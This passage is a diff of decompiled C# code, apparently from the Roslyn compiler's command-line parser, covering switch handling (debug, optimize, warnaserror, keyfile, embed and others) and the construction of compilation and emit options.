(EnumerableExtensions.IsEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), text13); + continue; + } + switch (text12.ToLower()) + { + case "full": + case "pdbonly": + val2 = (DebugInformationFormat)((!PathUtilities.IsUnixLikePlatform) ? 1 : 2); + break; + case "portable": + val2 = (DebugInformationFormat)2; + break; + case "embedded": + val2 = (DebugInformationFormat)3; + break; + default: + AddDiagnostic(list, ErrorCode.ERR_BadDebugType, text12); + break; + } + continue; + } + case "debug+": + if (valueMemory.HasValue) + { + break; + } + flag6 = true; + flag7 = true; + continue; + case "debug-": + if (valueMemory.HasValue) + { + break; + } + flag6 = false; + flag7 = false; + continue; + case "o": + case "optimize": + case "optimize+": + case "o+": + if (valueMemory.HasValue) + { + break; + } + flag = true; + continue; + case "optimize-": + case "o-": + if (valueMemory.HasValue) + { + break; + } + flag = false; + continue; + case "deterministic+": + case "deterministic": + if (valueMemory.HasValue) + { + break; + } + flag5 = true; + continue; + case "deterministic-": + if (valueMemory.HasValue) + { + break; + } + flag5 = false; + continue; + case "p": + case "parallel": + case "parallel+": + case "p+": + if (valueMemory.HasValue) + { + break; + } + flag4 = true; + continue; + case "parallel-": + case "p-": + if (valueMemory.HasValue) + { + break; + } + flag4 = false; + continue; + case "warnaserror+": + case "warnaserror": + if (!valueMemory.HasValue) + { + val7 = (ReportDiagnostic)1; + dictionary3.Clear(); + foreach (string key in dictionary.Keys) + { + if ((int)dictionary[key] == 2) + { + dictionary3[key] = (ReportDiagnostic)1; + } + } + } + else if (valueMemory.Value.Length == 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + } + else + { + AddWarnings(dictionary3, (ReportDiagnostic)1, valueMemory.Value); + } + continue; + case "warnaserror-": + { + if (!valueMemory.HasValue) + { + val7 = (ReportDiagnostic)0; + dictionary3.Clear(); + continue; + } + if (!valueMemory.HasValue || valueMemory.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + continue; + } + ArrayBuilder instance6 = ArrayBuilder.GetInstance(); + ParseWarnings(valueMemory.Value, instance6); + Enumerator enumerator2 = instance6.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current6 = enumerator2.Current; + if (dictionary.TryGetValue(current6, out var value)) + { + dictionary3[current6] = value; + } + else + { + dictionary3[current6] = (ReportDiagnostic)0; + } + } + instance6.Free(); + continue; + } + case "w": + case "warn": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + int result2; + if (text12 == null) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + } + else if (string.IsNullOrEmpty(text12) || !int.TryParse(text12, NumberStyles.Integer, CultureInfo.InvariantCulture, out result2)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + } + else if (result2 < 0) + { + AddDiagnostic(list, ErrorCode.ERR_BadWarningLevel); + } + else + { + num3 = result2; + } + continue; + } + case "unsafe": + case "unsafe+": + if (valueMemory.HasValue) + { + break; + } + flag3 = true; + continue; + case "unsafe-": + if (valueMemory.HasValue) + { + break; + } + flag3 = false; + continue; + case "delaysign": + case "delaysign+": + if (valueMemory.HasValue) + { + break; + } + flag11 = true; + continue; + case "delaysign-": + if (valueMemory.HasValue) + { + break; + } + flag11 = false; + continue; + case "publicsign": + case "publicsign+": + if (valueMemory.HasValue) + { + break; + } + flag18 = true; + continue; + case "publicsign-": + if (valueMemory.HasValue) + { + break; + } + flag18 = false; + continue; + case "keyfile": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, "keyfile"); + } + else + { + text6 = text12; + } + continue; + } + case "keycontainer": + { + string text12 = valueMemoryString(); + if (string.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "keycontainer"); + } + else + { + text7 = text12; + } + continue; + } + case "highentropyva+": + case "highentropyva": + if (valueMemory.HasValue) + { + break; + } + flag15 = true; + continue; + case "highentropyva-": + if (valueMemory.HasValue) + { + break; + } + flag15 = false; + continue; + case "nologo": + displayLogo = false; + continue; + case "baseaddress": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text12) || !CommandLineParser.TryParseUInt64(text12, ref num5)) + { + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + } + else + { + AddDiagnostic(list, ErrorCode.ERR_BadBaseNumber, text12); + } + } + else + { + num = num5; + } + continue; + } + case "subsystemversion": + { + string text12 = valueMemoryString(); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "subsystemversion"); + continue; + } + SubsystemVersion none = SubsystemVersion.None; + if (SubsystemVersion.TryParse(text12, ref none)) + { + val5 = none; + continue; + } + AddDiagnostic(list, ErrorCode.ERR_InvalidSubsystemVersion, text12); + continue; + } + case "touchedfiles": + { + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text14)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), "touchedfiles"); + } + else + { + touchedFilesPath = text14; + } + continue; + } + case "bugreport": + UnimplementedSwitch(list, text13); + continue; + case "utf8output": + if (valueMemory.HasValue) + { + break; + } + utf8Output = true; + continue; + case "m": + case "main": + { + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text14)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + } + else + { + text3 = text14; + } + continue; + } + case "fullpaths": + if (valueMemory.HasValue) + { + break; + } + printFullPaths = true; + continue; + case "pathmap": + { + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (text14 == null) + { + break; + } + immutableArray = ImmutableArrayExtensions.Concat>(immutableArray, ((CommandLineParser)this).ParsePathMap(text14, (IList)list)); + continue; + } + case "filealign": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsNumber, text13); + } + else if (!CommandLineParser.TryParseUInt16(text12, ref num4)) + { + AddDiagnostic(list, ErrorCode.ERR_InvalidFileAlignment, text12); + } + else if (!CompilationOptions.IsValidFileAlignment((int)num4)) + { + AddDiagnostic(list, ErrorCode.ERR_InvalidFileAlignment, text12); + } + else + { + num2 = num4; + } + continue; + } + case "pdb": + { + string text12 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text12)) + { + AddDiagnostic(list, ErrorCode.ERR_NoFileSpec, current2); + } + else + { + pdbPath = ((CommandLineParser)this).ParsePdbPath(text12, (IList)list, baseDirectory); + } + continue; + } + case "errorendlocation": + shouldIncludeErrorEndLocation = true; + continue; + case "reportanalyzer": + reportAnalyzer = true; + continue; + case "skipanalyzers+": + case "skipanalyzers": + if (valueMemory.HasValue) + { + break; + } + skipAnalyzers = true; + continue; + case "skipanalyzers-": + if (valueMemory.HasValue) + { + break; + } + skipAnalyzers = false; + continue; + case "nostdlib": + case "nostdlib+": + if (valueMemory.HasValue) + { + break; + } + flag8 = true; + continue; + case "nostdlib-": + if (valueMemory.HasValue) + { + break; + } + flag8 = false; + continue; + case "errorlog": + valueMemory = CommandLineParser.RemoveQuotesAndSlashesEx(valueMemory); + if (!valueMemory.HasValue || valueMemory.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "[,version={1|1.0|2|2.1}]", CommandLineParser.RemoveQuotesAndSlashes(current2)); + continue; + } + val3 = ((CommandLineParser)this).ParseErrorLogOptions(valueMemory.Value, (IList)list, baseDirectory, ref flag19); + if (val3 == null && !flag19) + { + AddDiagnostic(list, ErrorCode.ERR_BadSwitchValue, valueMemory.Value.ToString(), "/errorlog:", "[,version={1|1.0|2|2.1}]"); + } + continue; + case "appconfig": + { + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (RoslynString.IsNullOrEmpty(text14)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, ":", CommandLineParser.RemoveQuotesAndSlashes(current2)); + } + else + { + appConfigPath = ((CommandLineParser)this).ParseGenericPathToFile(text14, (IList)list, baseDirectory, true); + } + continue; + } + case "runtimemetadataversion": + { + string text14 = CommandLineParser.RemoveQuotesAndSlashes(valueMemory); + if (string.IsNullOrEmpty(text14)) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + } + else + { + text8 = text14; + } + continue; + } + case "additionalfile": + { + if (!valueMemory.HasValue || valueMemory.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + continue; + } + ArrayBuilder instance5 = ArrayBuilder.GetInstance(); + ((CommandLineParser)this).ParseSeparatedFileArgument(valueMemory.Value, baseDirectory, instance5, (IList)list); + Enumerator enumerator2 = instance5.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current5 = enumerator2.Current; + list6.Add(((CommandLineParser)this).ToCommandLineSourceFile(current5, false)); + } + instance5.Free(); + continue; + } + case "analyzerconfig": + if (!valueMemory.HasValue || valueMemory.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(list, ErrorCode.ERR_SwitchNeedsString, "", text13); + } + else + { + ArrayBuilder instance5 = ArrayBuilder.GetInstance(); + ((CommandLineParser)this).ParseSeparatedFileArgument(valueMemory.Value, baseDirectory, instance5, (IList)list); + instance2.AddRange(instance5); + instance5.Free(); + } + continue; + case "embed": + { + string text12 = valueMemoryString(); + if (RoslynString.IsNullOrEmpty(text12)) + { + flag13 = true; + continue; + } + ArrayBuilder instance5 = ArrayBuilder.GetInstance(); + ((CommandLineParser)this).ParseSeparatedFileArgument(text12.AsMemory(), baseDirectory, instance5, (IList)list); + Enumerator enumerator2 = instance5.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current4 = enumerator2.Current; + list7.Add(((CommandLineParser)this).ToCommandLineSourceFile(current4, false)); + } + instance5.Free(); + continue; + } + case "-": + if (Console.IsInputRedirected) + { + list5.Add(new CommandLineSourceFile("-", false, true)); + flag12 = true; + } + else + { + AddDiagnostic(list, ErrorCode.ERR_StdInOptionProvidedButConsoleInputIsNotRedirected); + } + continue; + case "reportivts": + case "reportivts+": + if (valueMemory.HasValue) + { + break; + } + reportInternalsVisibleToAttributes = true; + continue; + case "reportivts-": + if (valueMemory.HasValue) + { + break; + } + reportInternalsVisibleToAttributes = false; + continue; + case "noconfig": + case "ruleset": + case "errorreport": + continue; + } + } + AddDiagnostic(list, ErrorCode.ERR_BadSwitch, current2); + string? valueMemoryString() + { + if (!valueMemory.HasValue) + { + return null; + } + return valueMemory.GetValueOrDefault().Span.ToString(); + } + } + foreach (KeyValuePair item2 in dictionary3) + { + dictionary[item2.Key] = item2.Value; + } + foreach (KeyValuePair item3 in dictionary2) + { + dictionary[item3.Key] = item3.Value; + } + if (flag9 && text2 != null) + { + AddDiagnostic(list, dictionary, ErrorCode.ERR_NoRefOutWhenRefOnly); + } + if ((int)val4 == 3 && (flag9 || text2 != null)) + { + AddDiagnostic(list, dictionary, ErrorCode.ERR_NoNetModuleOutputWhenRefOutOrRefOnly); + } + if (!base.IsScriptCommandLineParser && !flag12 && (EnumBounds.IsNetModule(val4) || !flag14)) + { + AddDiagnostic(list, dictionary, ErrorCode.WRN_NoSources); + } + if (!flag8 && sdkDirectory != null) + { + list8.Insert(0, new CommandLineReference(Path.Combine(sdkDirectory, "mscorlib.dll"), MetadataReferenceProperties.Assembly)); + } + if (!EnumBounds.Requires64Bit(val6) && num > 4294934527u) + { + AddDiagnostic(list, ErrorCode.ERR_BadBaseNumber, $"0x{num:X}"); + num = 0uL; + } + if (!string.IsNullOrEmpty(additionalReferenceDirectories)) + { + ParseAndResolveReferencePaths(null, additionalReferenceDirectories.AsMemory(), baseDirectory, list10, MessageID.IDS_LIB_ENV, list); + } + ImmutableArray referencePaths = BuildSearchPaths(sdkDirectory, list10, list3); + ValidateWin32Settings(win32ResourceFile, text5, text4, val4, list); + if (!RoslynString.IsNullOrEmpty(baseDirectory)) + { + list12.Add(baseDirectory); + } + if (RoslynString.IsNullOrEmpty(text)) + { + AddDiagnostic(list, ErrorCode.ERR_NoOutputDirectory); + } + else if (baseDirectory != text) + { + list12.Add(text); + } + if (flag18 && !RoslynString.IsNullOrEmpty(text6)) + { + text6 = ((CommandLineParser)this).ParseGenericPathToFile(text6, (IList)list, baseDirectory, true); + } + if (text9 != null && !flag6) + { + AddDiagnostic(list, ErrorCode.ERR_SourceLinkRequiresPdb); + } + if (flag13) + { + list7.AddRange(list5); + } + if (list7.Count > 0 && !flag6) + { + AddDiagnostic(list, ErrorCode.ERR_CannotEmbedWithoutPdb); + } + ImmutableDictionary features = CommandLineParser.ParseFeatures(list14); + GetCompilationAndModuleNames(list, val4, list5, flag12, moduleAssemblyName, ref outputFileName, ref moduleName, out string compilationName); + instance.Free(); + CSharpParseOptions cSharpParseOptions = new CSharpParseOptions(result, preprocessorSymbols: instance3.ToImmutableAndFree(), documentationMode: (DocumentationMode)(flag10 ? 2 : 0), kind: (SourceCodeKind)(base.IsScriptCommandLineParser ? 1 : 0), features: features); + bool reportSuppressedDiagnostics = val3 != null; + OutputKind outputKind = val4; + string moduleName2 = moduleName; + string mainTypeName = text3; + IEnumerable usings = list13; + OptimizationLevel optimizationLevel = (OptimizationLevel)(flag ? 1 : 0); + bool checkOverflow = flag2; + NullableContextOptions nullableContextOptions = val; + bool allowUnsafe = flag3; + bool deterministic = flag5; + bool concurrentBuild = flag4; + string cryptoKeyContainer = text7; + string cryptoKeyFile = text6; + bool? delaySign = flag11; + Platform platform = val6; + ReportDiagnostic generalDiagnosticOption = val7; + int warningLevel = num3; + IEnumerable> specificDiagnosticOptions = dictionary; + bool publicSign = flag18; + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(outputKind, reportSuppressedDiagnostics, moduleName2, mainTypeName, "Script", usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, default(ImmutableArray), delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, null, null, null, null, null, publicSign, (MetadataImportOptions)0, nullableContextOptions); + if (flag7) + { + cSharpCompilationOptions = cSharpCompilationOptions.WithDebugPlusMode(flag7); + } + bool num6 = flag9; + publicSign = !flag9 && text2 == null; + DebugInformationFormat val11 = val2; + ulong num7 = num; + concurrentBuild = flag15; + EmitOptions emitOptions = new EmitOptions(num6, val11, (string)null, (string)null, num2, num7, concurrentBuild, val5, text8, false, publicSign, instance4.ToImmutableAndFree(), (HashAlgorithmName?)HashAlgorithmName.SHA256, encoding, (Encoding)null); + list.AddRange(((CompilationOptions)cSharpCompilationOptions).Errors); + list.AddRange(((ParseOptions)cSharpParseOptions).Errors); + if ((int)val != 0 && cSharpParseOptions.LanguageVersion < MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion()) + { + list.Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NullableOptionNotAvailable, "nullable", val, cSharpParseOptions.LanguageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion())), Location.None)); + } + immutableArray = CommandLineParser.SortPathMap(immutableArray); + CSharpCommandLineArguments cSharpCommandLineArguments = new CSharpCommandLineArguments(); + ((CommandLineArguments)cSharpCommandLineArguments).IsScriptRunner = base.IsScriptCommandLineParser; + ((CommandLineArguments)cSharpCommandLineArguments).InteractiveMode = flag17 || (base.IsScriptCommandLineParser && list5.Count == 0); + ((CommandLineArguments)cSharpCommandLineArguments).BaseDirectory = baseDirectory; + ((CommandLineArguments)cSharpCommandLineArguments).PathMap = immutableArray; + ((CommandLineArguments)cSharpCommandLineArguments).Errors = ImmutableArrayExtensions.AsImmutable((IEnumerable)list); + ((CommandLineArguments)cSharpCommandLineArguments).Utf8Output = utf8Output; + ((CommandLineArguments)cSharpCommandLineArguments).CompilationName = compilationName; + ((CommandLineArguments)cSharpCommandLineArguments).OutputFileName = outputFileName; + ((CommandLineArguments)cSharpCommandLineArguments).OutputRefFilePath = text2; + ((CommandLineArguments)cSharpCommandLineArguments).PdbPath = pdbPath; + ((CommandLineArguments)cSharpCommandLineArguments).EmitPdb = flag6 && !flag9; + ((CommandLineArguments)cSharpCommandLineArguments).SourceLink = text9; + ((CommandLineArguments)cSharpCommandLineArguments).RuleSetPath = text10; + ((CommandLineArguments)cSharpCommandLineArguments).OutputDirectory = text; + ((CommandLineArguments)cSharpCommandLineArguments).DocumentationPath = documentationPath; + ((CommandLineArguments)cSharpCommandLineArguments).GeneratedFilesOutputDirectory = generatedFilesOutputDirectory; + ((CommandLineArguments)cSharpCommandLineArguments).ErrorLogOptions = val3; + ((CommandLineArguments)cSharpCommandLineArguments).AppConfigPath = appConfigPath; + ((CommandLineArguments)cSharpCommandLineArguments).SourceFiles = ImmutableArrayExtensions.AsImmutable((IEnumerable)list5); + ((CommandLineArguments)cSharpCommandLineArguments).Encoding = encoding; + ((CommandLineArguments)cSharpCommandLineArguments).ChecksumAlgorithm = checksumAlgorithm; + ((CommandLineArguments)cSharpCommandLineArguments).MetadataReferences = ImmutableArrayExtensions.AsImmutable((IEnumerable)list8); + ((CommandLineArguments)cSharpCommandLineArguments).AnalyzerReferences = ImmutableArrayExtensions.AsImmutable((IEnumerable)list9); + ((CommandLineArguments)cSharpCommandLineArguments).AnalyzerConfigPaths = instance2.ToImmutableAndFree(); + ((CommandLineArguments)cSharpCommandLineArguments).AdditionalFiles = ImmutableArrayExtensions.AsImmutable((IEnumerable)list6); + ((CommandLineArguments)cSharpCommandLineArguments).ReferencePaths = referencePaths; + ((CommandLineArguments)cSharpCommandLineArguments).SourcePaths = ImmutableArrayExtensions.AsImmutable((IEnumerable)list11); + ((CommandLineArguments)cSharpCommandLineArguments).KeyFileSearchPaths = ImmutableArrayExtensions.AsImmutable((IEnumerable)list12); + ((CommandLineArguments)cSharpCommandLineArguments).Win32ResourceFile = win32ResourceFile; + ((CommandLineArguments)cSharpCommandLineArguments).Win32Icon = text5; + ((CommandLineArguments)cSharpCommandLineArguments).Win32Manifest = text4; + ((CommandLineArguments)cSharpCommandLineArguments).NoWin32Manifest = noWin32Manifest; + ((CommandLineArguments)cSharpCommandLineArguments).DisplayLogo = displayLogo; + ((CommandLineArguments)cSharpCommandLineArguments).DisplayHelp = displayHelp; + ((CommandLineArguments)cSharpCommandLineArguments).DisplayVersion = displayVersion; + ((CommandLineArguments)cSharpCommandLineArguments).DisplayLangVersions = displayLangVersions; + ((CommandLineArguments)cSharpCommandLineArguments).ManifestResources = ImmutableArrayExtensions.AsImmutable((IEnumerable)list4); + cSharpCommandLineArguments.CompilationOptions = cSharpCompilationOptions; + cSharpCommandLineArguments.ParseOptions = cSharpParseOptions; + ((CommandLineArguments)cSharpCommandLineArguments).EmitOptions = emitOptions; + ((CommandLineArguments)cSharpCommandLineArguments).ScriptArguments = ImmutableArrayExtensions.AsImmutableOrEmpty((IEnumerable)list2); + ((CommandLineArguments)cSharpCommandLineArguments).TouchedFilesPath = touchedFilesPath; + ((CommandLineArguments)cSharpCommandLineArguments).PrintFullPaths = printFullPaths; + cSharpCommandLineArguments.ShouldIncludeErrorEndLocation = shouldIncludeErrorEndLocation; + ((CommandLineArguments)cSharpCommandLineArguments).PreferredUILang = cultureInfo; + ((CommandLineArguments)cSharpCommandLineArguments).ReportAnalyzer = reportAnalyzer; + ((CommandLineArguments)cSharpCommandLineArguments).SkipAnalyzers = skipAnalyzers; + ((CommandLineArguments)cSharpCommandLineArguments).EmbeddedFiles = ImmutableArrayExtensions.AsImmutable((IEnumerable)list7); + ((CommandLineArguments)cSharpCommandLineArguments).ReportInternalsVisibleToAttributes = reportInternalsVisibleToAttributes; + return cSharpCommandLineArguments; + } + + private static void ParseAndResolveReferencePaths(string? switchName, ReadOnlyMemory? switchValue, string? baseDirectory, List builder, MessageID origin, List diagnostics) + { + if (!switchValue.HasValue || switchValue.GetValueOrDefault().Length <= 0) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_PathList.Localize(), switchName); + return; + } + foreach (string item in CommandLineParser.ParseSeparatedPaths(switchValue.Value.ToString())) + { + string text = FileUtilities.ResolveRelativePath(item, baseDirectory); + if (text == null) + { + AddDiagnostic(diagnostics, ErrorCode.WRN_InvalidSearchPathDir, item, origin.Localize(), MessageID.IDS_DirectoryHasInvalidPath.Localize()); + } + else if (!Directory.Exists(text)) + { + AddDiagnostic(diagnostics, ErrorCode.WRN_InvalidSearchPathDir, item, origin.Localize(), MessageID.IDS_DirectoryDoesNotExist.Localize()); + } + else + { + builder.Add(text); + } + } + } + + private static string? GetWin32Setting(string arg, string? value, List diagnostics) + { + if (value == null) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_NoFileSpec, arg); + } + else + { + string text = CommandLineParser.RemoveQuotesAndSlashes(value); + if (!string.IsNullOrWhiteSpace(text)) + { + return text; + } + AddDiagnostic(diagnostics, ErrorCode.ERR_NoFileSpec, arg); + } + return null; + } + + private void GetCompilationAndModuleNames(List diagnostics, OutputKind outputKind, List sourceFiles, bool sourceFilesSpecified, string? moduleAssemblyName, ref string? outputFileName, ref string? moduleName, out string? compilationName) + { + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + string text; + if (outputFileName == null) + { + if (!base.IsScriptCommandLineParser && !sourceFilesSpecified) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_OutputNeedsName); + text = null; + } + else if (EnumBounds.IsApplication(outputKind)) + { + text = null; + } + else + { + CommandLineSourceFile val = sourceFiles.FirstOrDefault(); + text = PathUtilities.RemoveExtension(PathUtilities.GetFileName(((CommandLineSourceFile)(ref val)).Path, true)); + outputFileName = text + EnumBounds.GetDefaultExtension(outputKind); + if (text.Length == 0 && !EnumBounds.IsNetModule(outputKind)) + { + AddDiagnostic(diagnostics, ErrorCode.FTL_InvalidInputFileName, outputFileName); + text = (outputFileName = null); + } + } + } + else + { + text = PathUtilities.RemoveExtension(outputFileName); + if (text.Length == 0) + { + AddDiagnostic(diagnostics, ErrorCode.FTL_InvalidInputFileName, outputFileName); + text = (outputFileName = null); + } + } + if (EnumBounds.IsNetModule(outputKind)) + { + compilationName = moduleAssemblyName; + } + else + { + if (moduleAssemblyName != null) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_AssemblyNameOnNonModule); + } + compilationName = text; + } + if (moduleName == null) + { + moduleName = outputFileName; + } + } + + private ImmutableArray BuildSearchPaths(string? sdkDirectoryOpt, List libPaths, List? responsePathsOpt) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (sdkDirectoryOpt != null) + { + instance.Add(sdkDirectoryOpt); + } + instance.AddRange((IEnumerable)libPaths); + if (responsePathsOpt != null) + { + instance.AddRange((IEnumerable)responsePathsOpt); + } + return instance.ToImmutableAndFree(); + } + + public static IEnumerable ParseConditionalCompilationSymbols(string value, out IEnumerable diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ParseConditionalCompilationSymbols(value.AsMemory(), instance, out diagnostics); + return instance.ToArrayAndFree(); + } + + internal static void ParseConditionalCompilationSymbols(ReadOnlyMemory valueMemory, ArrayBuilder defines, out IEnumerable diagnostics) + { + DiagnosticBag outputDiagnostics = DiagnosticBag.GetInstance(); + if (MemoryExtensions.IsWhiteSpace(valueMemory)) + { + outputDiagnostics.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 2029, new object[1] { valueMemory.ToString() })); + diagnostics = outputDiagnostics.ToReadOnlyAndFree(); + return; + } + ReadOnlySpan span = valueMemory.Span; + int nextIndex = 0; + int index; + for (index = 0; index < span.Length; index++) + { + char c = span[index]; + if ((c == ',' || c == ';') ? true : false) + { + add(); + nextIndex = index + 1; + } + } + if (nextIndex < span.Length) + { + add(); + } + diagnostics = outputDiagnostics.ToReadOnlyAndFree(); + void add() + { + string text = MemoryExtensions.Trim(valueMemory.Slice(nextIndex, index - nextIndex)).ToString(); + if (SyntaxFacts.IsValidIdentifier(text)) + { + defines.Add(text); + } + else + { + outputDiagnostics.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 2029, new object[1] { text })); + } + } + } + + private static Platform ParsePlatform(string value, IList diagnostics) + { + switch (value.ToLowerInvariant()) + { + case "x86": + return (Platform)1; + case "x64": + return (Platform)2; + case "itanium": + return (Platform)3; + case "anycpu": + return (Platform)0; + case "anycpu32bitpreferred": + return (Platform)4; + case "arm": + return (Platform)5; + case "arm64": + return (Platform)6; + default: + AddDiagnostic(diagnostics, ErrorCode.ERR_BadPlatformType, value); + return (Platform)0; + } + } + + private static OutputKind ParseTarget(string value, IList diagnostics) + { + switch (value.ToLowerInvariant()) + { + case "exe": + return (OutputKind)0; + case "winexe": + return (OutputKind)1; + case "library": + return (OutputKind)2; + case "module": + return (OutputKind)3; + case "appcontainerexe": + return (OutputKind)5; + case "winmdobj": + return (OutputKind)4; + default: + AddDiagnostic(diagnostics, ErrorCode.FTL_InvalidTarget); + return (OutputKind)0; + } + } + + private static IEnumerable ParseUsings(string arg, string? value, IList diagnostics) + { + if (RoslynString.IsNullOrEmpty(value)) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Namespace1.Localize(), arg); + yield break; + } + string[] array = value.Split(new char[1] { ';' }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < array.Length; i++) + { + yield return array[i]; + } + } + + private static void ParseAnalyzers(string arg, ReadOnlyMemory? valueMemory, List analyzerReferences, List diagnostics) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + if (valueMemory.HasValue) + { + ReadOnlyMemory valueOrDefault = valueMemory.GetValueOrDefault(); + if (valueOrDefault.Length == 0) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_NoFileSpec, arg); + return; + } + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + CommandLineParser.ParseSeparatedPathsEx((ReadOnlyMemory?)valueOrDefault, instance); + Enumerator> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + if (current.Length != 0) + { + analyzerReferences.Add(new CommandLineAnalyzerReference(current.ToString())); + } + } + instance.Free(); + } + else + { + AddDiagnostic(diagnostics, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), arg); + } + } + + private static void ParseAssemblyReferences(string arg, ReadOnlyMemory? valueMemory, IList diagnostics, bool embedInteropTypes, List commandLineReferences) + { + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + if (!valueMemory.HasValue) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_SwitchNeedsString, MessageID.IDS_Text.Localize(), arg); + return; + } + ReadOnlyMemory value = valueMemory.Value; + if (value.Length == 0) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_NoFileSpec, arg); + return; + } + ReadOnlySpan span = value.Span; + int num = MemoryExtensions.IndexOfAny(span, s_quoteOrEquals); + string text; + if (num >= 0 && span[num] == '=') + { + text = value.Slice(0, num).ToString(); + value = value.Slice(num + 1); + if (!SyntaxFacts.IsValidIdentifier(text)) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_BadExternIdentifier, text); + return; + } + } + else + { + text = null; + } + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + CommandLineParser.ParseSeparatedPathsEx((ReadOnlyMemory?)value, instance); + int num2 = 0; + Enumerator> enumerator = instance.GetEnumerator(); + MetadataReferenceProperties val = default(MetadataReferenceProperties); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + if (!MemoryExtensions.IsWhiteSpace(current)) + { + num2++; + ImmutableArray immutableArray = ((text != null) ? ImmutableArray.Create(text) : ImmutableArray.Empty); + ((MetadataReferenceProperties)(ref val))._002Ector((MetadataImageKind)0, immutableArray, embedInteropTypes); + commandLineReferences.Add(new CommandLineReference(current.ToString(), val)); + } + } + instance.Free(); + if (text != null) + { + if (num2 > 1) + { + commandLineReferences.RemoveRange(commandLineReferences.Count - num2, num2); + AddDiagnostic(diagnostics, ErrorCode.ERR_OneAliasPerReference); + } + else if (num2 == 0) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_AliasMissingFile, text); + } + } + } + + private static void ValidateWin32Settings(string? win32ResourceFile, string? win32IconResourceFile, string? win32ManifestFile, OutputKind outputKind, IList diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (win32ResourceFile != null) + { + if (win32IconResourceFile != null) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_CantHaveWin32ResAndIcon); + } + if 